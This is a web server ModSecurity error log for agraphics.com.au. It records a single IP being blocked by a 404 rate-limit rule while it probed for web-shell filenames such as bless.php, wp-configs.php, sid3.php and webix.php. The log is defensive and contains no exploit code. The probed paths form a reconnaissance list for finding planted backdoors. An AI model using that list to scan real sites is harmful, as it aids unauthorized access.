[Mon Jan 19 21:54:01.752374 2026] [:error] [pid 45562:tid 45599] [client 132.196.60.193:18277] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aW43eToUil_kwpvtDW7qcwAAAEU"]
[Mon Jan 19 21:54:02.153592 2026] [:error] [pid 36216:tid 36229] [client 132.196.60.193:18186] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aW43esIpfKKs9fzB-yCy-QAAAUs"]
[Mon Jan 19 21:54:02.674561 2026] [:error] [pid 47089:tid 47112] [client 132.196.60.193:18280] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aW43ehlIzijVNfdIsZ4I1wAAARU"]
[Mon Jan 19 21:54:03.182439 2026] [:error] [pid 47089:tid 47115] [client 132.196.60.193:18189] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aW43exlIzijVNfdIsZ4I2QAAARg"]
[Mon Jan 19 21:54:03.952216 2026] [:error] [pid 47089:tid 47095] [client 132.196.60.193:18261] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aW43exlIzijVNfdIsZ4I3QAAAQQ"]
[Mon Jan 19 21:54:04.590542 2026] [:error] [pid 45563:tid 45626] [client 132.196.60.193:18011] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aW43fJI4--OKA-Pqumy8twAAAIU"]
[Mon Jan 19 21:54:05.138643 2026] [:error] [pid 47089:tid 47114] [client 132.196.60.193:18389] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aW43fRlIzijVNfdIsZ4I4AAAARc"]
[Mon Jan 19 21:54:05.642918 2026] [:error] [pid 45561:tid 45577] [client 132.196.60.193:18391] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aW43fa4ONSZn4nkTayJypwAAAAs"]
[Mon Jan 19 21:54:06.052368 2026] [:error] [pid 45563:tid 45643] [client 132.196.60.193:18177] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aW43fpI4--OKA-Pqumy8uAAAAJY"]
[Mon Jan 19 21:54:06.556400 2026] [:error] [pid 47089:tid 47107] [client 132.196.60.193:18337] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aW43fhlIzijVNfdIsZ4I5AAAARA"]
[Mon Jan 19 21:54:06.975886 2026] [:error] [pid 36216:tid 36240] [client 132.196.60.193:18253] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aW43fsIpfKKs9fzB-yCy_wAAAVY"]
[Mon Jan 19 21:54:07.590940 2026] [:error] [pid 36216:tid 36221] [client 132.196.60.193:18421] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aW43f8IpfKKs9fzB-yCzAAAAAUM"]
[Mon Jan 19 21:54:08.222664 2026] [:error] [pid 45561:tid 45585] [client 132.196.60.193:18314] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aW43gK4ONSZn4nkTayJyqQAAABM"]
[Mon Jan 19 21:54:08.957191 2026] [:error] [pid 45562:tid 45609] [client 132.196.60.193:18390] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aW43gDoUil_kwpvtDW7qdQAAAE8"]
[Mon Jan 19 21:54:09.482496 2026] [:error] [pid 36216:tid 36228] [client 132.196.60.193:18326] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geck.php"] [unique_id "aW43gcIpfKKs9fzB-yCzAQAAAUo"]
[Mon Jan 19 21:54:09.928065 2026] [:error] [pid 36216:tid 36231] [client 132.196.60.193:20419] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geck.php"] [unique_id "aW43gcIpfKKs9fzB-yCzAgAAAU0"]
[Mon Jan 19 21:54:10.429037 2026] [:error] [pid 45562:tid 45611] [client 132.196.60.193:18241] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geck.php"] [unique_id "aW43gjoUil_kwpvtDW7qdgAAAFE"]
[Mon Jan 19 21:54:10.931896 2026] [:error] [pid 45563:tid 45641] [client 132.196.60.193:18281] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geck.php"] [unique_id "aW43gpI4--OKA-Pqumy8wQAAAJQ"]
[Mon Jan 19 21:54:11.543815 2026] [:error] [pid 36216:tid 36238] [client 132.196.60.193:18254] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aW43g8IpfKKs9fzB-yCzBQAAAVQ"]
[Mon Jan 19 21:54:11.939261 2026] [:error] [pid 45562:tid 45615] [client 132.196.60.193:18260] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aW43gzoUil_kwpvtDW7qeQAAAFU"]
[Mon Jan 19 21:54:12.351418 2026] [:error] [pid 45562:tid 45614] [client 132.196.60.193:18325] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aW43hDoUil_kwpvtDW7qewAAAFQ"]
[Mon Jan 19 21:54:12.901645 2026] [:error] [pid 47089:tid 47102] [client 132.196.60.193:18259] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aW43hBlIzijVNfdIsZ4I9AAAAQs"]
[Mon Jan 19 21:54:13.321766 2026] [:error] [pid 45657:tid 45676] [client 132.196.60.193:18250] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aW43hQ4XFYp2OcwCx-Cb-wAAANE"]
[Mon Jan 19 21:54:13.772188 2026] [:error] [pid 45562:tid 45612] [client 132.196.60.193:18179] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aW43hToUil_kwpvtDW7qfQAAAFI"]
[Mon Jan 19 21:54:14.262453 2026] [:error] [pid 47089:tid 47099] [client 132.196.60.193:18306] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aW43hhlIzijVNfdIsZ4I9wAAAQg"]
[Mon Jan 19 21:54:14.742298 2026] [:error] [pid 36216:tid 36220] [client 132.196.60.193:18367] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aW43hsIpfKKs9fzB-yCzCAAAAUI"]
[Mon Jan 19 21:54:15.284278 2026] [:error] [pid 36216:tid 36242] [client 132.196.60.193:18264] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aW43h8IpfKKs9fzB-yCzCgAAAVg"]
[Mon Jan 19 21:54:15.804836 2026] [:error] [pid 45563:tid 45645] [client 132.196.60.193:18279] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aW43h5I4--OKA-Pqumy8xAAAAJg"]
[Mon Jan 19 21:54:16.227676 2026] [:error] [pid 45562:tid 45600] [client 132.196.60.193:18408] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aW43iDoUil_kwpvtDW7qgQAAAEY"]
[Mon Jan 19 21:54:16.666224 2026] [:error] [pid 45563:tid 45644] [client 132.196.60.193:18256] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aW43iJI4--OKA-Pqumy8xwAAAJc"]
[Mon Jan 19 21:54:17.180789 2026] [:error] [pid 45561:tid 45571] [client 132.196.60.193:17747] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aW43ia4ONSZn4nkTayJyrAAAAAU"]
[Mon Jan 19 21:54:17.803910 2026] [:error] [pid 36216:tid 36235] [client 132.196.60.193:18242] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aW43icIpfKKs9fzB-yCzDAAAAVE"]
[Mon Jan 19 21:54:18.300480 2026] [:error] [pid 47089:tid 47105] [client 132.196.60.193:18249] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aW43ihlIzijVNfdIsZ4I-wAAAQ4"]
[Mon Jan 19 21:54:18.793848 2026] [:error] [pid 47089:tid 47091] [client 132.196.60.193:18359] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aW43ihlIzijVNfdIsZ4I_QAAAQA"]
[Mon Jan 19 21:54:19.171462 2026] [:error] [pid 45657:tid 45679] [client 132.196.60.193:18351] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aW43iw4XFYp2OcwCx-Cb_gAAANQ"]
[Mon Jan 19 21:54:19.643598 2026] [:error] [pid 45563:tid 45641] [client 132.196.60.193:18255] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aW43i5I4--OKA-Pqumy8zgAAAJQ"]
[Mon Jan 19 21:54:20.039508 2026] [:error] [pid 47089:tid 47104] [client 132.196.60.193:18251] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aW43jBlIzijVNfdIsZ4JAAAAAQ0"]
[Mon Jan 19 21:54:20.524675 2026] [:error] [pid 45657:tid 45660] [client 132.196.60.193:18205] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aW43jA4XFYp2OcwCx-CcAAAAAME"]
[Mon Jan 19 21:54:20.946133 2026] [:error] [pid 45563:tid 45631] [client 132.196.60.193:18271] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aW43jJI4--OKA-Pqumy8zwAAAIo"]
[Mon Jan 19 21:54:21.340214 2026] [:error] [pid 45561:tid 45578] [client 132.196.60.193:18365] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aW43ja4ONSZn4nkTayJyrgAAAAw"]
[Mon Jan 19 21:54:21.775544 2026] [:error] [pid 45561:tid 45581] [client 132.196.60.193:18252] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aW43ja4ONSZn4nkTayJyrwAAAA8"]
[Mon Jan 19 21:54:22.173740 2026] [:error] [pid 45657:tid 45668] [client 132.196.60.193:18301] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aW43jg4XFYp2OcwCx-CcAgAAAMk"]
[Mon Jan 19 21:54:22.617935 2026] [:error] [pid 45562:tid 45596] [client 132.196.60.193:18195] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aW43jjoUil_kwpvtDW7qhAAAAEI"]
[Mon Jan 19 21:54:23.037994 2026] [:error] [pid 45561:tid 45589] [client 132.196.60.193:18364] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aW43j64ONSZn4nkTayJysAAAABc"]
[Mon Jan 19 21:54:23.478433 2026] [:error] [pid 45562:tid 45597] [client 132.196.60.193:18341] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aW43jzoUil_kwpvtDW7qhQAAAEM"]
[Mon Jan 19 21:54:23.886960 2026] [:error] [pid 36216:tid 36221] [client 132.196.60.193:18274] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aW43j8IpfKKs9fzB-yCzDwAAAUM"]
[Mon Jan 19 21:54:24.297445 2026] [:error] [pid 47089:tid 47106] [client 132.196.60.193:18291] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webix.php"] [unique_id "aW43kBlIzijVNfdIsZ4JCAAAAQ8"]
[Mon Jan 19 21:54:24.754405 2026] [:error] [pid 45562:tid 45611] [client 132.196.60.193:18223] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webix.php"] [unique_id "aW43kDoUil_kwpvtDW7qhwAAAFE"]
[Mon Jan 19 21:54:25.175781 2026] [:error] [pid 36216:tid 36228] [client 132.196.60.193:18429] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webix.php"] [unique_id "aW43kcIpfKKs9fzB-yCzEgAAAUo"]
[Mon Jan 19 21:54:25.763795 2026] [:error] [pid 36216:tid 36222] [client 132.196.60.193:18296] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webix.php"] [unique_id "aW43kcIpfKKs9fzB-yCzEwAAAUQ"]
[Mon Jan 19 21:54:26.445972 2026] [:error] [pid 36216:tid 36238] [client 132.196.60.193:18214] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aW43ksIpfKKs9fzB-yCzFQAAAVQ"]
[Mon Jan 19 21:54:27.118897 2026] [:error] [pid 47089:tid 47109] [client 132.196.60.193:20448] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aW43kxlIzijVNfdIsZ4JCQAAARI"]
[Mon Jan 19 21:54:27.671529 2026] [:error] [pid 45657:tid 45673] [client 132.196.60.193:18190] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aW43kw4XFYp2OcwCx-CcBgAAAM4"]
[Mon Jan 19 21:54:28.114916 2026] [:error] [pid 45657:tid 45671] [client 132.196.60.193:18342] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aW43lA4XFYp2OcwCx-CcBwAAAMw"]
[Mon Jan 19 21:54:28.759657 2026] [:error] [pid 45657:tid 45676] [client 132.196.60.193:18330] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hans.php"] [unique_id "aW43lA4XFYp2OcwCx-CcCQAAANE"]
[Mon Jan 19 21:54:29.374921 2026] [:error] [pid 45561:tid 45569] [client 132.196.60.193:18270] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hans.php"] [unique_id "aW43la4ONSZn4nkTayJyuAAAAAM"]
[Mon Jan 19 21:54:29.799565 2026] [:error] [pid 36216:tid 36224] [client 132.196.60.193:17731] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hans.php"] [unique_id "aW43lcIpfKKs9fzB-yCzFwAAAUY"]
